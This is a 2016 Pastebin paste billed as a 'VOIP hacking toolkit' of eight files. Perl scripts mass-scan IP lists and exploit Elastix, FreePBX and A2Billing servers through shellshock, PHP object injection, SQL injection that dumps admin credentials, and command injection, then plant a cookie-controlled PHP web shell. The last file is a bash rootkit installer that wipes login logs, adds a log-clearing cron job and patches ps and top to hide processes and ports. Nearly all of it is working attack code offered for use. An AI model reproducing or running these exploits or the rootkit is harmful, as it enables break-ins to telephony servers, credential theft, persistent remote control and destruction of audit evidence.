Advertisement
Guest User

shadow.in.the.sun

a guest
Jul 18th, 2016
640
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 69.18 KB | None | 0 0
  1. -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
  2. -.~==[ VOIP HACKING TOOLKIT - FILE I ]==~.-
  3.  
  4. use IO::Socket;
  5. use Parallel::ForkManager;
  6. use IP::Country::Fast;
  7. use strict;
  8.  
  9. $|=1;
  10. if (!$ARGV[1]) {
  11. print "usage: perl autopwn.pl <infile> <outfile>\n";
  12. exit;
  13. }
  14.  
  15. my @list = ();
  16. open FILE, "<" . $ARGV[0];
  17. print "Start: ";
  18. my $start = <stdin>;
  19. chomp($start);
  20. my $flag=0;
  21. if (index($start, "start") >= 0) {
  22. $flag=1;
  23. }
  24. while(<FILE>) {
  25. chomp;
  26. my $str = $_;
  27. if ($str =~ /$start/) {
  28. $flag=1;
  29. next;
  30. }
  31. if (!$flag) {
  32. next;
  33. }
  34. my @str2 = split(/\s/, $str);
  35. $str = $str2[0];
  36. if (not $str =~ /\d+\.\d+\.\d+\.\d+/) {
  37. next;
  38. }
  39. if (not grep /$str/, @list) {
  40. push(@list, $str);
  41. }
  42. }
  43. close FILE;
  44.  
  45. my $pm = Parallel::ForkManager->new(20);
  46.  
  47. my $c = 0;
  48. my $country;
  49. foreach my $sip (@list) {
  50. my $resp = IP::Country::Fast->new();
  51. $country = $resp->inet_atocc($sip);
  52. if (($country =~ /XX/) || ($country =~ /XX/)) {
  53. next;
  54. }
  55. $c++;
  56. if ($c >= 20) {
  57. print "Threads joining...\n";
  58. $pm->wait_all_children;
  59. $c=1;
  60. }
  61. my $pid = $pm->start and next;
  62. my $target = $sip;
  63. print $target."\n";
  64. print "EXPLOIT\n";
  65. if ($country eq "") {
  66. $country = "UNKNOWN";
  67. }
  68. system("perl idefix.pl $target $country $ARGV[1]");
  69. out:
  70. $pm->finish;
  71. }
  72.  
  73. -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
  74. -.~==[ VOIP HACKING TOOLKIT - FILE II ]==~.-
  75.  
  76. #idefix remote
  77. use IO::Socket;
  78. use URL::Encode qw(url_encode);
  79. use LWP::Simple;
  80.  
  81. $|=1;
  82. alarm(59);
  83. $target = $ARGV[0];
  84. chomp($target);
  85. print $target."\n";
  86. $php = qq{
  87. set_time_limit(0);
  88. unlink("page.framework.php");
  89. file_put_contents("page.framework.php", "<?php if
  90. (\\\$_COOKIE[\\"lang\\"]) {system(\\\$_COOKIE[\\"lang\\"]);}
  91. die();?>");
  92. };
  93.  
  94. $php =~ s/\r//gi;
  95. $php =~ s/\n//gi;
  96.  
  97. sub ishacked {
  98. my $url = "http://$target/admin/page.framework.php";
  99. if (head($url)) {
  100. return 1;
  101. }
  102. $url = "http://$target/recordings/page.framework.php";
  103. if (head($url)) {
  104. return 2;
  105. }
  106. $url = "http://$target/admin/modules/admindashboard/phpsysinfo/common_admin_functions.php";
  107. if (head($url)) {
  108. return 3;
  109. }
  110.  
  111. return 0;
  112. }
  113.  
  114. $result = ishacked();
  115. if ($result eq 1) {
  116. print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  117. HACKED, EXPLOIT 1)\r\n";
  118. open FILE, ">>$ARGV[2]";
  119. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  120. HACKED, EXPLOIT 1)\r\n";
  121. close FILE;
  122. exit;
  123. }
  124.  
  125. if ($result eq 2) {
  126. print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  127. HACKED, EXPLOIT 2)\r\n";
  128. open FILE, ">>$ARGV[2]";
  129. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  130. HACKED, EXPLOIT 2)\r\n";
  131. close FILE;
  132. exit;
  133. }
  134.  
  135. print "EXPLOIT\n";
  136.  
  137. $bin = qq{php -r '$php'};
  138. $buf = url_encode("() { :;};$bin");
  139. $buf2 = url_encode('O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}}');
  140.  
  141. $sock = IO::Socket::INET->new(PeerAddr => $target,
  142. PeerPort => 80,
  143. Proto => 'tcp',
  144. Timeout => 10);
  145. $payload = "username=admin&password=admin&submit=btnSubmit";
  146. print $sock "POST /recordings/index.php? HTTP/1.1\r\nHost:
  147. $target\r\nCookie:
  148. ari_lang=$buf;ari_auth=$buf2;elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0\r\nContent-Type:
  149. application/x-www-form-urlencoded\r\nContent-Length: ".
  150. length($payload) ."\r\nConnection: close\r\n\r\n" . $payload;
  151.  
  152. while(<$sock>) {
  153. }
  154.  
  155. $sock = IO::Socket::INET->new(PeerAddr => $target,
  156. PeerPort => 80,
  157. Proto => 'tcp',
  158. Timeout => 10);
  159. print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
  160. $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
  161. close\r\n\r\n";
  162.  
  163. $success = 0;
  164. while(<$sock>) {
  165. if ($_ =~ /SUCCESS\ SUCCESS/) {
  166. $success = 1;
  167. }
  168. }
  169.  
  170. if ($success) {
  171. print "\n***EXPLOIT SUCCESS***\n";
  172. print "\n***THE EAGLE HAS LANDED AT $target ($ARGV[1])***\n";
  173. open FILE, ">>$ARGV[2]";
  174. if ($result eq 0) {
  175. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
  176. (EXPLOIT 2 NEW!!)\r\n";
  177. }
  178. if ($result eq 3) {
  179. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
  180. (EXPLOIT 2 REHACK)\r\n";
  181. }
  182. close FILE;
  183. exit;
  184. }
  185.  
  186. -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
  187. -.~==[ VOIP HACKING TOOLKIT - FILE III ]==~.-
  188.  
  189. use IO::Socket;
  190. use Geo::IP::PurePerl;
  191. use strict;
  192.  
  193. my $gi = Geo::IP::PurePerl->new(GEOIP_STANDARD);
  194.  
  195. $|=1;
  196. if (!$ARGV[1]) {
  197. print "usage: perl autopwn.pl <infile> <outfile>\n";
  198. exit;
  199. }
  200.  
  201. my @list = ();
  202. open FILE, "<" . $ARGV[0];
  203. print "Start: ";
  204. my $start = <stdin>;
  205. chomp($start);
  206. my $flag=0;
  207. if (index($start, "start") >= 0) {
  208. $flag=1;
  209. }
  210. while(<FILE>) {
  211. chomp;
  212. my $str = $_;
  213. if ($str =~ /$start/) {
  214. $flag=1;
  215. next;
  216. }
  217. if (!$flag) {
  218. next;
  219. }
  220. my @str2 = split(/\s/, $str);
  221. $str = $str2[$#str2];
  222. if (not $str =~ /\d+\.\d+\.\d+\.\d+/) {
  223. next;
  224. }
  225. if (not grep /$str/, @list) {
  226. push(@list, $str);
  227. }
  228. }
  229. close FILE;
  230.  
  231. my $c = 0;
  232. my $country;
  233. foreach my $sip (@list) {
  234. $country = $gi->country_code_by_addr($sip);
  235. if (($country =~ /DE/) || ($country =~ /TH/)) {
  236. next;
  237. }
  238. my $target = $sip;
  239. print "EXPLOIT\n";
  240. if ($country eq "") {
  241. $country = "--";
  242. }
  243. system("perl eaglesql-helper.pl $target $country $ARGV[1]");
  244. out:
  245. }
  246.  
  247. -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
  248. -.~==[ VOIP HACKING TOOLKIT - FILE IV ]==~.-
  249.  
  250. use IO::Socket::SSL;
  251. use LWP::Simple;
  252. use URL::Encode qw(url_encode);
  253.  
  254. BEGIN { $| = 1 }
  255.  
  256. alarm(100);
  257.  
  258. $target = $ARGV[0];
  259. $country = $ARGV[1];
  260. $outfile = $ARGV[2];
  261. chomp($target);
  262. print $target."\n";
  263. print "EXPLOIT\n";
  264. $queryhex = "0x1 UNION SELECT 1 FROM cc_ui_authen;#";
  265. $queryhex =~ s/(.)/sprintf("%x",ord($1))/eg;
  266. $a = "0x" . $queryhex;
  267. $queryhex2 = "/etc/test";
  268. $queryhex2 =~ s/(.)/sprintf("%x",ord($1))/eg;
  269. $disclosefile = "0x" . $queryhex2;
  270. $query = "transactionID=-1+UNION+SELECT+9,$a,9,9,9,9,9,9,9,9,9,9,9,9,(SELECT+concat(concat(login,0x3A),pwd_encoded)+FROM+cc_ui_authen)+FROM+cc_ui_authen";
  271. $query2 = "transactionID=-1+UNION+SELECT+9,$a,9,9,9,9,9,9,9,9,9,9,9,9,(SELECT+concat(concat(manager_username,0x3A),manager_secret)+FROM+cc_server_manager)+FROM+cc_ui_authen";
  272. my $sock = IO::Socket::SSL->new(
  273. PeerHost => $target,
  274. PeerPort => "https",
  275. Timeout => 10,
  276. SSL_verify_mode => SSL_VERIFY_NONE);
  277.  
  278. print $sock "POST /a2billing/customer/iridium_threed.php" . "
  279. HTTP/1.1\r\nHost: $target\r\nContent-type:
  280. application/x-www-form-urlencoded\r\nContent-Length: ".
  281. length($query2) .
  282. "\r\nConnection:close\r\n\r\n" . $query2;
  283. while(<$sock>) {
  284. if ($_ =~ /item_type=(.*):(.*?)$/) {
  285. $username = $1;
  286. $password = $2;
  287. $password =~ s/\r//g;
  288. $password =~ s/\n//g;
  289. close($sock);
  290. $payload = "input_user=$username&input_pass=$password&submit_login=Submit";
  291. my $sock = IO::Socket::SSL->new(
  292. PeerHost => $target,
  293. PeerPort => "https",
  294. SSL_verify_mode => SSL_VERIFY_NONE);
  295.  
  296. print $sock "POST /" . " HTTP/1.1\r\nHost: $target\r\nContent-type:
  297. application/x-www-form-urlencoded\r\nContent-Length: ".
  298. length($payload) . "\r\nConnection:close\r\n\r\n"
  299. . $payload;
  300. $loggedin = 0;
  301. $cookie = "";
  302. while(<$sock>) {
  303. if ($_ =~ /302 Found/) {
  304. print "SUCCESS: Logged in.\n";
  305. $loggedin = 1;
  306. }
  307. if ($_ =~ /(elastixSession=.*?);/) {
  308. $cookie = $1;
  309. print $cookie."\n";
  310. }
  311. }
  312. if ($loggedin == 0) {
  313. print "CANNOT LOGIN.\n";
  314. exit;
  315. }
  316. close($sock);
  317. $sock = IO::Socket::SSL->new(PeerAddr => $target,
  318. PeerPort => 443,
  319. Proto => 'tcp',
  320. Timeout => 60,
  321. SSL_verify_mode => SSL_VERIFY_NONE);
  322. print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
  323. $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
  324. close\r\n\r\n";
  325. $success = 0;
  326. while(<$sock>) {
  327. if ($_ =~ /SUCCESS\ SUCCESS/) {
  328. $success = 1;
  329. }
  330. }
  331. if ($success) {
  332. print "ALREADY HACKED\n";
  333. exit;
  334. }
  335.  
  336. print "\n$target $country SUCCESS: $username:$password THE EAGLE HAS
  337. LANDED (SQL)\n";
  338. open FILE, ">>$outfile";
  339. print FILE "$target $country SUCCESS: $username:$password THE EAGLE
  340. HAS LANDED (SQL)\n";
  341. close FILE;
  342. my $sock = IO::Socket::SSL->new(
  343. PeerHost => $target,
  344. PeerPort => "https",
  345. Timeout => 60,
  346. SSL_verify_mode => SSL_VERIFY_NONE);
  347.  
  348. $php = qq{
  349. set_time_limit(0);
  350. unlink("recordings/page.framework.php");
  351. file_put_contents("recordings/page.framework.php", "<?php if
  352. (\\\$_COOKIE[\\"lang\\"]) {system(\\\$_COOKIE[\\"lang\\"]);}
  353. die();?>");
  354. };
  355. $php =~ s/\r//gi;
  356. $php =~ s/\n//gi;
  357.  
  358. $bin = qq{php -r '$php'};
  359. $buf = url_encode("$bin");
  360.  
  361. $payload =
  362. "action=apply_changes_UserExtension&menu=userlist&group=1&extension=baz'+/etc/services;$buf;'&description=&password1=$password&password2=$password&webmailuser=&webmaildomain=&webmailpassword1=&id_user=1&rawmode=yes";
  363. print $sock "POST /index.php HTTP/1.1\r\nHost:
  364. $target\r\nContent-type:
  365. application/x-www-form-urlencoded\r\nContent-Length: ".
  366. length($payload) . "\r\nCookie: $cookie\r\nConnection:close\r\n\r\n" .
  367. $payload;
  368. while(<$sock>) {
  369. }
  370. close $sock;
  371. my $sock = IO::Socket::SSL->new(
  372. PeerHost => $target,
  373. PeerPort => "https",
  374. Timeout => 60,
  375. SSL_verify_mode => SSL_VERIFY_NONE);
  376. $php =~ s/\r//gi;
  377. $php =~ s/\n//gi;
  378.  
  379. $bin = qq{php -r '$php';};
  380. $buf = url_encode("$bin");
  381.  
  382. $payload = "config=Configuration&page=0&nav=bypage";
  383. print $sock "POST /index.php?menu=voicemail HTTP/1.1\r\nHost:
  384. $target\r\nContent-type:
  385. application/x-www-form-urlencoded\r\nContent-Length: ".
  386. length($payload) . "\r\nCookie: $cookie\r\nConnection:close\r\n\r\n" .
  387. $payload;
  388. while(<$sock>) {
  389. }
  390. $sock = IO::Socket::SSL->new(PeerAddr => $target,
  391. PeerPort => 443,
  392. Proto => 'tcp',
  393. Timeout => 60,
  394. SSL_verify_mode => SSL_VERIFY_NONE);
  395. print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
  396. $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
  397. close\r\n\r\n";
  398. $success = 0;
  399. while(<$sock>) {
  400. if ($_ =~ /SUCCESS\ SUCCESS/) {
  401. $success = 1;
  402. }
  403. print;
  404. }
  405. if ($success) {
  406. print "\n***EXPLOIT SUCCESS***\n";
  407. print "\n***THE EAGLE HAS LANDED AT $target ($ARGV[1]) (EXPLOIT 2 SQL)***\n";
  408. open FILE, ">>$outfile";
  409. print FILE "$target $country SUCCESS: $username:$password THE EAGLE
  410. HAS LANDED (EXPLOIT 2 SQL)\n";
  411. close FILE;
  412. close($sock);
  413. }
  414. exit;
  415. }
  416. }
  417.  
  418. -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
  419. -.~==[ VOIP HACKING TOOLKIT - FILE V ]==~.-
  420.  
  421. use IO::Socket;
  422. use Parallel::ForkManager;
  423. use IP::Country::Fast;
  424. use strict;
  425.  
  426. $|=1;
  427. if (!$ARGV[1]) {
  428. print "usage: perl autopwn.pl <infile> <outfile>\n";
  429. exit;
  430. }
  431.  
  432. my @list = ();
  433. open FILE, "<" . $ARGV[0];
  434. print "Start: ";
  435. my $start = <stdin>;
  436. chomp($start);
  437. my $flag=0;
  438. if (index($start, "start") >= 0) {
  439. $flag=1;
  440. }
  441. while(<FILE>) {
  442. chomp;
  443. my $str = $_;
  444. if ($str =~ /$start/) {
  445. $flag=1;
  446. next;
  447. }
  448. if (!$flag) {
  449. next;
  450. }
  451. my @str2 = split(/\s/, $str);
  452. $str = $str2[$#str2];
  453. if (not $str =~ /\d+\.\d+\.\d+\.\d+/) {
  454. next;
  455. }
  456. if (not grep /$str/, @list) {
  457. push(@list, $str);
  458. }
  459. }
  460. close FILE;
  461.  
  462. my $pm = Parallel::ForkManager->new(20);
  463.  
  464. my $c = 0;
  465. my $country;
  466. foreach my $sip (@list) {
  467. my $resp = IP::Country::Fast->new();
  468. $country = $resp->inet_atocc($sip);
  469. if (($country =~ /XX/) || ($country =~ /XX/)) {
  470. next;
  471. }
  472. $c++;
  473. if ($c >= 20) {
  474. print "Threads joining...\n";
  475. $pm->wait_all_children;
  476. $c=1;
  477. }
  478. my $pid = $pm->start and next;
  479. my $target = $sip;
  480. print $target."\n";
  481. print "EXPLOIT\n";
  482. if ($country eq "") {
  483. $country = "UNKNOWN";
  484. }
  485. system("perl idefix-ssl.pl $target $country $ARGV[1]");
  486. out:
  487. $pm->finish;
  488. }
  489.  
  490. -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
  491. -.~==[ VOIP HACKING TOOLKIT - FILE VI ]==~.-
  492.  
  493. #idefix remote
  494. use IO::Socket::SSL;
  495. use URL::Encode qw(url_encode);
  496. use LWP::Simple;
  497.  
  498. $|=1;
  499. alarm(59);
  500. $target = $ARGV[0];
  501. chomp($target);
  502. print $target."\n";
  503. $php = qq{
  504. set_time_limit(0);
  505. unlink("page.framework.php");
  506. file_put_contents("page.framework.php", "<?php if
  507. (\\\$_COOKIE[\\"lang\\"]) {system(\\\$_COOKIE[\\"lang\\"]);}
  508. die();?>");
  509. };
  510.  
  511. $php =~ s/\r//gi;
  512. $php =~ s/\n//gi;
  513.  
  514. sub ishacked {
  515. my $url = "https://$target/admin/page.framework.php";
  516. if (head($url)) {
  517. return 1;
  518. }
  519. $url = "https://$target/recordings/page.framework.php";
  520. if (head($url)) {
  521. return 2;
  522. }
  523. $url = "https://$target/admin/modules/admindashboard/phpsysinfo/common_admin_functions.php";
  524. if (head($url)) {
  525. return 3;
  526. }
  527.  
  528. return 0;
  529. }
  530.  
  531. $result = ishacked();
  532. if ($result eq 1) {
  533. print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  534. HACKED, EXPLOIT 1)\r\n";
  535. open FILE, ">>$ARGV[2]";
  536. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  537. HACKED, EXPLOIT 1)\r\n";
  538. close FILE;
  539. exit;
  540. }
  541.  
  542. if ($result eq 2) {
  543. print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  544. HACKED, EXPLOIT 2)\r\n";
  545. open FILE, ">>$ARGV[2]";
  546. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  547. HACKED, EXPLOIT 2)\r\n";
  548. close FILE;
  549. exit;
  550. }
  551.  
  552. print "EXPLOIT\n";
  553.  
  554. $bin = qq{php -r '$php';};
  555. $buf = url_encode("() { :;};$bin");
  556. $buf2 = url_encode('O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}}');
  557.  
  558. $sock = IO::Socket::SSL->new(PeerAddr => $target,
  559. PeerPort => 443,
  560. Proto => 'tcp',
  561. Timeout => 10,
  562. SSL_verify_mode => SSL_VERIFY_NONE);
  563. $payload = "username=admin&password=admin&submit=btnSubmit";
  564. print $sock "POST /recordings/index.php? HTTP/1.1\r\nHost:
  565. $target\r\nCookie:
  566. ari_lang=$buf;ari_auth=$buf2;elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0\r\nContent-Type:
  567. application/x-www-form-urlencoded\r\nContent-Length: ".
  568. length($payload) ."\r\nConnection: close\r\n\r\n" . $payload;
  569.  
  570. while(<$sock>) {
  571. }
  572.  
  573. $sock = IO::Socket::SSL->new(PeerAddr => $target,
  574. PeerPort => 443,
  575. Proto => 'tcp',
  576. Timeout => 10,
  577. SSL_verify_mode => SSL_VERIFY_NONE);
  578. print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
  579. $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
  580. close\r\n\r\n";
  581.  
  582. $success = 0;
  583. while(<$sock>) {
  584. if ($_ =~ /SUCCESS\ SUCCESS/) {
  585. $success = 1;
  586. }
  587. }
  588.  
  589. if ($success) {
  590. print "\n***EXPLOIT SUCCESS***\n";
  591. print "\n***THE EAGLE HAS LANDED AT $target ($ARGV[1])***\n";
  592. open FILE, ">>$ARGV[2]";
  593. if ($result eq 0) {
  594. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
  595. (EXPLOIT 2 NEW!!)\r\n";
  596. }
  597. if ($result eq 3) {
  598. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
  599. (EXPLOIT 2 REHACK)\r\n";
  600. }
  601. close FILE;
  602. exit;
  603. }
  604.  
  605. -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
  606. -.~==[ VOIP HACKING TOOLKIT - FILE VII ]==~.-
  607.  
  608. #idefix remote
  609. use IO::Socket;
  610. use URL::Encode qw(url_encode);
  611. use LWP::Simple;
  612.  
  613. $|=1;
  614. alarm(59);
  615. $target = $ARGV[0];
  616. chomp($target);
  617. print $target."\n";
  618. $php = qq{
  619. set_time_limit(0);
  620. unlink("page.framework.php");
  621. file_put_contents("page.framework.php", "<?php if
  622. (\\\$_COOKIE[\\"lang\\"]) {system(\\\$_COOKIE[\\"lang\\"]);}
  623. die();?>");
  624. };
  625.  
  626. $php =~ s/\r//gi;
  627. $php =~ s/\n//gi;
  628.  
  629. sub ishacked {
  630. my $url = "http://$target/admin/page.framework.php";
  631. if (head($url)) {
  632. return 1;
  633. }
  634. $url = "http://$target/recordings/page.framework.php";
  635. if (head($url)) {
  636. return 2;
  637. }
  638. $url = "http://$target/admin/modules/admindashboard/phpsysinfo/common_admin_functions.php";
  639. if (head($url)) {
  640. return 3;
  641. }
  642.  
  643. return 0;
  644. }
  645.  
  646. $result = ishacked();
  647. if ($result eq 1) {
  648. print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  649. HACKED, EXPLOIT 1)\r\n";
  650. open FILE, ">>$ARGV[2]";
  651. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  652. HACKED, EXPLOIT 1)\r\n";
  653. close FILE;
  654. exit;
  655. }
  656.  
  657. if ($result eq 2) {
  658. print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  659. HACKED, EXPLOIT 2)\r\n";
  660. open FILE, ">>$ARGV[2]";
  661. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
  662. HACKED, EXPLOIT 2)\r\n";
  663. close FILE;
  664. exit;
  665. }
  666.  
  667. print "EXPLOIT\n";
  668.  
  669. $bin = qq{php -r '$php'};
  670. $buf = url_encode("() { :;};$bin");
  671. $buf2 = url_encode('O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}}');
  672.  
  673. $sock = IO::Socket::INET->new(PeerAddr => $target,
  674. PeerPort => 80,
  675. Proto => 'tcp',
  676. Timeout => 10);
  677. $payload = "username=admin&password=admin&submit=btnSubmit";
  678. print $sock "POST /recordings/index.php? HTTP/1.1\r\nHost:
  679. $target\r\nCookie:
  680. ari_lang=$buf;ari_auth=$buf2;elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0\r\nContent-Type:
  681. application/x-www-form-urlencoded\r\nContent-Length: ".
  682. length($payload) ."\r\nConnection: close\r\n\r\n" . $payload;
  683.  
  684. while(<$sock>) {
  685. }
  686.  
  687. $sock = IO::Socket::INET->new(PeerAddr => $target,
  688. PeerPort => 80,
  689. Proto => 'tcp',
  690. Timeout => 10);
  691. print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
  692. $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
  693. close\r\n\r\n";
  694.  
  695. $success = 0;
  696. while(<$sock>) {
  697. if ($_ =~ /SUCCESS\ SUCCESS/) {
  698. $success = 1;
  699. }
  700. }
  701.  
  702. if ($success) {
  703. print "\n***EXPLOIT SUCCESS***\n";
  704. print "\n***THE EAGLE HAS LANDED AT $target ($ARGV[1])***\n";
  705. open FILE, ">>$ARGV[2]";
  706. if ($result eq 0) {
  707. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
  708. (EXPLOIT 2 NEW!!)\r\n";
  709. }
  710. if ($result eq 3) {
  711. print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
  712. (EXPLOIT 2 REHACK)\r\n";
  713. }
  714. close FILE;
  715. exit;
  716. }
  717.  
  718. -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
  719. -.~==[ VOIP HACKING TOOLKIT - FILE VIII ]==~.-
  720.  
  721. #!/bin/bash
  722. #|=-----------------------------------------------------------------------=|
  723. #|=-----------------------=[ Linux ROOT Hidekit ]=------------------------=|
  724. #|=-----------------------------------------------------------------------=|
  725. #|=--------------------------=[ by infamous ]=----------------------------=|
  726. #|=-----------------------=[ infamous@anon.rs ]=--------------------------=|
  727. #|=-----------------------------------------------------------------------=|
  728. #|=------------------=[ *******CentOS, Ubuntu******* ]=-------------------=|
  729. #|=-----------------------------------------------------------------------=|
  730.  
  731. read -p "enter filename / directory name to hide from ps,ls [default:
  732. MAGIC9]:" HIDENAME
  733. if [ -z "$HIDENAME" ]; then
  734. HIDENAME=MAGIC9
  735. fi
  736.  
  737. read -p "enter user to hide from w [default: root]:" HIDEUSER
  738. if [ -z "$HIDEUSER" ]; then
  739. HIDEUSER=root
  740. fi
  741.  
  742. HIDEPORTS="if ("
  743. while : ; do
  744. read -p "enter remote port to hide from netstat or leave blank to
  745. continue: " HIDEPORT
  746. [[ -n "$HIDEPORT" ]] || break
  747. HIDEPORTS="${HIDEPORTS} rem_port == ${HIDEPORT} || "
  748. done
  749. HIDEPORTS="${HIDEPORTS} rem_port == -1)"
  750.  
  751. HIDEPORTS_LOCAL="if ("
  752. while : ; do
  753. read -p "enter local port to hide from netstat or leave blank to
  754. continue: " HIDEPORT_LOCAL
  755. [[ -n "$HIDEPORT_LOCAL" ]] || break
  756. HIDEPORTS_LOCAL="${HIDEPORTS_LOCAL} local_port == ${HIDEPORT_LOCAL} || "
  757. done
  758. HIDEPORTS_LOCAL="${HIDEPORTS_LOCAL} local_port == -1)"
  759.  
  760. read -p "add logcleaner crontab entry? (y/n) [default: y]" ADDCRONTAB
  761. if [ -z "$ADDCRONTAB" ]; then
  762. ADDCRONTAB=y
  763. fi
  764.  
  765. if [ "$ADDCRONTAB" = "y" ] ; then
  766. (crontab -l 2>/dev/null; printf "0 * * * * >/var/log/wtmp\n0 * *
  767. * * >/var/log/btmp\n0 * * * * >/var/log/lastlog\n0 * * * *
  768. >/var/log/secure\n0 * * * * >/var/log/auth.log\n") | crontab -
  769. fi
  770.  
  771. >/var/log/wtmp
  772. >/var/log/btmp
  773. >/var/log/lastlog
  774. >/var/log/secure
  775. >/var/log/auth.log
  776.  
  777. if [ -f "/etc/debian_version" ]
  778. then
  779. packageman=apt-get
  780. else
  781. packageman=yum
  782. fi
  783. ${packageman} -y install make gcc wget
  784. mkdir /tmp/.../
  785. cd /tmp/.../
  786. wget -O /tmp/.../procps.tar.gz http://procps.sourceforge.net/procps-3.2.8.tar.gz
  787. rm -rf /tmp/.../procps-3.2.8/
  788. tar xvzf procps.tar.gz
  789. cd /tmp/.../procps-3.2.8/ps
  790.  
  791. LINE1=" if (pp && pp->cmd && strstr(pp->cmd, \"${HIDENAME}\") != NULL)"
  792. LINE2=" if (pp && pp->cmdline && strstr(pp->cmdline, \"${HIDENAME}\") != NULL)"
  793. >output.c_2
  794. while IFS='' read -r line || [[ -n "$line" ]]; do
  795. if [[ $line == *"unsigned flags;"* ]]
  796. then
  797. echo "$line" >> output.c_2
  798. IFS='' read -r line
  799. echo "$line" >> output.c_2
  800. if [[ $line == *"int rightward=max_rightward;"* ]]
  801. then
  802. echo "$LINE1" >> output.c_2
  803. echo " return 0;" >> output.c_2
  804. echo "$LINE2" >> output.c_2
  805. echo " return 0;" >> output.c_2 && continue
  806. fi
  807. fi
  808.  
  809. echo "$line" >> output.c_2
  810. done < output.c
  811. mv -f output.c_2 output.c
  812.  
  813. LINE1="if (buf && buf->cmd && strstr(buf->cmd, \"${HIDENAME}\") != NULL)"
  814. LINE2="return 0;"
  815. >select.c_2
  816. while IFS='' read -r line || [[ -n "$line" ]]; do
  817. if [[ $line == *"/* elsewhere, convert T to list, U sets x
  818. implicitly */"* ]]
  819. then
  820. echo "$line" >> select.c_2
  821. echo "$LINE1" >> select.c_2
  822. echo "$LINE2" >> select.c_2 && continue
  823. fi
  824.  
  825. echo "$line" >> select.c_2
  826. done < select.c
  827. mv -f select.c_2 select.c
  828.  
  829. cd /tmp/.../procps-3.2.8/
  830. LINE1="-include proc/module.mk ps/module.mk"
  831. >Makefile_2
  832. while IFS='' read -r line || [[ -n "$line" ]]; do
  833. if [[ $line == *"-include */module.mk"* ]]
  834. then
  835. echo "$LINE1" >> Makefile_2 && continue
  836. fi
  837.  
  838. echo "$line" >> Makefile_2
  839. done < Makefile
  840. mv -f Makefile_2 Makefile
  841. LINE1=" if (this != NULL && ((this->cmdline != NULL &&
  842. strstr(this->cmdline, \"${HIDENAME}\") != NULL) ||"
  843. LINE2=" (this->cmd != NULL && strstr(this->cmd, \"${HIDENAME}\")
  844. != NULL)))"
  845. LINE3=" return;"
  846. >top.c_2
  847. while IFS='' read -r line || [[ -n "$line" ]]; do
  848. if [[ $line == *"TIC_t tics;"* ]]
  849. then
  850. echo "$line" >> top.c_2
  851. echo "$LINE1" >> top.c_2
  852. echo "$LINE2" >> top.c_2
  853. echo "$LINE3" >> top.c_2 && continue
  854. fi
  855.  
  856. echo "$line" >> top.c_2
  857. done < top.c
